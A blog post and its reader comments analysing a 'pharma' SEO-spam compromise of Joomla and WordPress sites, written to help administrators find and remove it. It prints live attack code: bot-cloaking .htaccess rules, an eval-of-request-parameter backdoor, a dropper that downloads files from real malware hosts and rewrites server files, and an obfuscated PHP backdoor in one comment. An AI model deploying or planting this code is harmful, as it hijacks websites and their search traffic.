Joomla ‘Pharma’ Hack

One of the more CSI type things I get to do in my job is figure out how servers are compromised. Last week I was tasked with figuring out why a site was listing Pharmaceuticals in Google results.

I’ve dealt alot with hacked and compromised servers, but have never come across one that only affected search results.

Basically, 3 modified files kept appearing on the server, a modified .htaccess file in the root, common.php and coockies.txt.

What we discovered was the following in the .htaccess file:

# Apache search queries statistic module
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|aol|bing|crawl|aspseek|icio|robot|spider|nutch|slurp|msnbot) [OR]
RewriteCond %{HTTP_REFERER} (google|aol|yahoo|msn|search|bing)
RewriteCond %{REQUEST_URI} /$ [OR]
RewriteCond %{REQUEST_FILENAME} (shtml|html|htm|php|xml|phtml|asp|aspx)$ [NC]
RewriteCond %{REQUEST_FILENAME} !common.php
RewriteCond %{DOCUMENT_ROOT}/common.php -f
RewriteRule ^.*$ /common.php [L]
</IfModule>

What this means is that any search bot will get redirected through common.php. This file had a bunch of base_64 encoded PHP that modified page meta descriptions and titles. This is outlined pretty well here: http://redleg-redleg.blogspot.ca/2011/02/pharmacy-hack.html.

However, we deleted these files and modified the .htaccess file back to it’s original state, but the files kept coming back. So the big question was how?

I did a search through the Joomla source for base64_encode/decode and found a ton of files. Most of them were part of modules or core, but I did find a few that looked a little odd. For example:

/**GnPvQdChUa*/if((md5($_REQUEST["img_id"]) == "ae6d32585ecc4d33cb8cd68a047d8434") && isset($_REQUEST["mod_content"])) { /**LsWvRlYzUw*/eval(base64_decode($_REQUEST["mod_content"])); /**SeDuMsFkMx*/exit();/**BoJeXkTwXa*/ }

Basically what this does is run whatever is passed in the $_REQUEST[“mod_content”] variable. Pretty nasty since it means that any base64_encoded string will be run as is.

At 6:22 on a sunny Saturday morning, I got a notification from one of my monitoring scripts that common.php, that attack file, was back! I checked the logs and sure enough, here is what the request was:

/components/com_users/users.php?img_id=1f3870be274f6c49b3e31a0c6728957f&mod_content=aWYgKGV4dGVuc2lvbl9sb2FkZWQoImN1cmwiKSl7JGNo yadda yadda base64 encoded string.

That param decodes to a lovely PHP script:


if ( extension_loaded( "curl" ) ) {
 $ch = curl_init();
 curl_setopt( $ch, CURLOPT_URL, "http://209.190.20.51/door.txt" );
 curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;" );
 curl_setopt( $ch, CURLOPT_HEADER, 0 );
 curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
 $door = curl_exec( $ch );
 $ch = curl_init();
 curl_setopt( $ch, CURLOPT_URL, "http://209.190.20.51/include_code_temp.txt" );
 curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;" );
 curl_setopt( $ch, CURLOPT_HEADER, 0 );
 curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
 $inc_code = curl_exec( $ch );
 $ch = curl_init();
 curl_setopt( $ch, CURLOPT_URL, "http://209.190.20.51/include_code_temp2.txt" );
 curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;" );
 curl_setopt( $ch, CURLOPT_HEADER, 0 );
 curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
 $inc_ht = curl_exec( $ch );
 } else {
 $door = @file_get_contents( "http://209.190.20.51/door.txt" );
 $inc_code = @file_get_contents( "http://209.190.20.51/include_code_temp.txt" );
 $inc_ht = @file_get_contents( "http://209.190.20.51/include_code_temp2.txt" );
 }if ( is_file( "/home/user/public_html/index.html" ) ) {
 $index = "/home/user/public_html/index.html";
 }if ( is_file( "/home/user/public_html/index.htm" ) ) {
 $index = "/home/user/public_html/index.htm";
 }if ( is_file( "/home/user/public_html/.htaccess" ) ) {
 $index = "/home/user/public_html/.htaccess";
 }if ( is_file( "/home/user/public_html/favicon.ico" ) ) {
 $index = "/home/user/public_html/favicon.ico";
 }if ( is_file( "/home/user/public_html/index.php" ) ) {
 $index = "/home/user/public_html/index.php";
 }if ( is_file( "/home/user/public_html/common.php" ) ) {
 $index = "/home/user/public_html/common.php";
 }$time = filemtime( $index );
 $chmod = substr( sprintf( "%o", fileperms( $index ) ), -4 );
 $chmod = trim( $chmod );
 $chmod = intval( $chmod, 8 );
 @unlink( "/home/user/public_html/common.php" );
 $fp = fopen( "/home/user/public_html/common.php", "w" );
 fputs( $fp, $door );
 fclose( $fp );
 @chmod( "/home/user/public_html/common.php", $chmod );
 touch( "/home/user/public_html/common.php", $time );
 $htaccess = str_replace( "#####INCLUDE#####", $inc_ht, $inc_code );
 @unlink( "/home/user/public_html/.htaccess" );
 $fp = fopen( "/home/user/public_html/.htaccess", "w" );
 fputs( $fp, $htaccess );
 fclose( $fp );
 @chmod( "/home/user/public_html/.htaccess", $chmod );
 touch( "/home/user/public_html/.htaccess", $time );
 

This little script is what recreates all the spammy files.

So there it is, a URL param that run’s CURL requests to setup spam files on a server.

Wanted to record this so that anyone else having this issue has somewhere to look.

TTFN.

13 thoughts on “Joomla ‘Pharma’ Hack

  1. Hi I have the same on my site.. search for a mod_joomla.php in my case..

    Witch is the first file created and what is the best way to prevent this attack?

    • Change all your FTP, Joomla passwords and I would disable Jumi or Sourcerer if you have it installed.

      Best way to prevent it is to keep Joomla patched and up to date and don’t install any modules/components that you’re not unsure of.

      Check out the vulnerable extensions list (http://docs.joomla.org/Vulnerable_Extensions_List) , this attack was through and unsecure upload form that was included in a page using Jumi.

      Also, search the source code for any base64_encode() or eval() statements.

      • Found out that if you rename your admin folder to something other than ‘administrator’, the hack will not come back (hasn’t shown up after the usual couple of hours at least…). Maybe its origin is somewhere in this folder?…

  2. Found the same hack on a Drupal site. Thanks for your post as it helped us to identify the problem.

  3. Looks like this has hit WordPress now, too. Instead of coockies.txt there’s a folder called “coockies” that keeps regenerating and spawning new files. After sifting through server logs, I noticed a few hacked files in my wp-themes folders plus wp-admin/wp-includes/class-wp-plugin-install-list-table.php and wp-admin/load-styles.php. Hacked files start with <?php and some md5 methods with long strings. The script is also running wp-cron.php. I also noticed an empty folder called .logs in my root and wonder if that was a backdoor (logfiles on my host are stored elsewhere).

    Thanks for the post, it was a good start.

    • Ya the site that was originally infected was moved to another webhost and things never came back.

      I’m thinking it has something to do with log files as well, because even after removing the hack and malicious files the ‘coockies’ file came back.

    • Thanks a lot!
      Got the same problem with WordPress.
      195.62.25.130 is an actual host for the male ware. I.e. http://195.62.25.130/door.txt .
      At least common.php and session.php are new files.

      Is there any way to get into something like this?

      $_f__f=isset($_POST[‘_f__f’])?$_POST[‘_f__f’]:(isset($_COOKIE[‘_f__f’])?$_COOKIE[‘_f__f’]:NULL);
      if($_f__f!==NULL){
      $_f__f=md5($_f__f).substr(md5(strrev($_f__f)),0,strlen($_f__f));
      for($_f____f=0;$_f____f<15180;$_f____f++){
      $_f___f[$_f____f]=chr(( ord($_f___f[$_f____f])-ord($_f__f[$_f____f]))%256);
      $_f__f.=$_f___f[$_f____f];
      }
      if($_f___f=@gzinflate($_f___f)){
      if(isset($_POST['_f__f']))
      @setcookie('_f__f', $_POST['_f__f']);
      $_f____f=create_function('',$_f___f);
      unset($_f___f,$_f__f);
      $_f____f();
      }
      }

  4. I found a file located at /en/rss.php containing a remote access terminal.

  5. I had this same probelm recently and got rid of the three files you mention at the beginning of this post. The problem went away but two weeks later it is back. These files no longer exist but the problem is back. Any idea what to look for?

    I am not nearly as techie with the scripts and looking at logs so some good old fashioned hand holding would be greatly appreciated.

    Many thanks,
    Houston

  6. We were hit with this one on Oct 4, 2013. We just found it today. We started looking for it because our server kept bogging down and stalling. Users started complaining. Then we heard from a user that our guitar website was showing up as a Payday Loan company in Google when searching for the domain name. That led us to the htaccess file and so now we’ve removed it. However, we can’t find the vulnerability that allowed them in. Certainly nothing on the day of that the htaccess file was hacked.
    And, we just heard from another friend in an other niche has had the same thing happen to him around the same time frame.

  7. Pete, you are the man!!! Have a joomla 2.5 site and after finding the htaccess file you mentioned, it actually specified a file in the templates/system/images/ called image.php . it also had downloaded screenshots of various cialis pages. I’m cleaning it up 🙂 the only thing that still disturbs me is that the pages it showed in google actually was writing to the component and displaying as an artticle; whereas the images in the system folder were of other sites. I’m wondering if there might be another location in the files to look for. However, i renamed the image.php file and searched the site using google again. clicked on one of the infected pages, and it threw a 404 error! so it looks like the source either way.

Leave a reply to Luc Cancel reply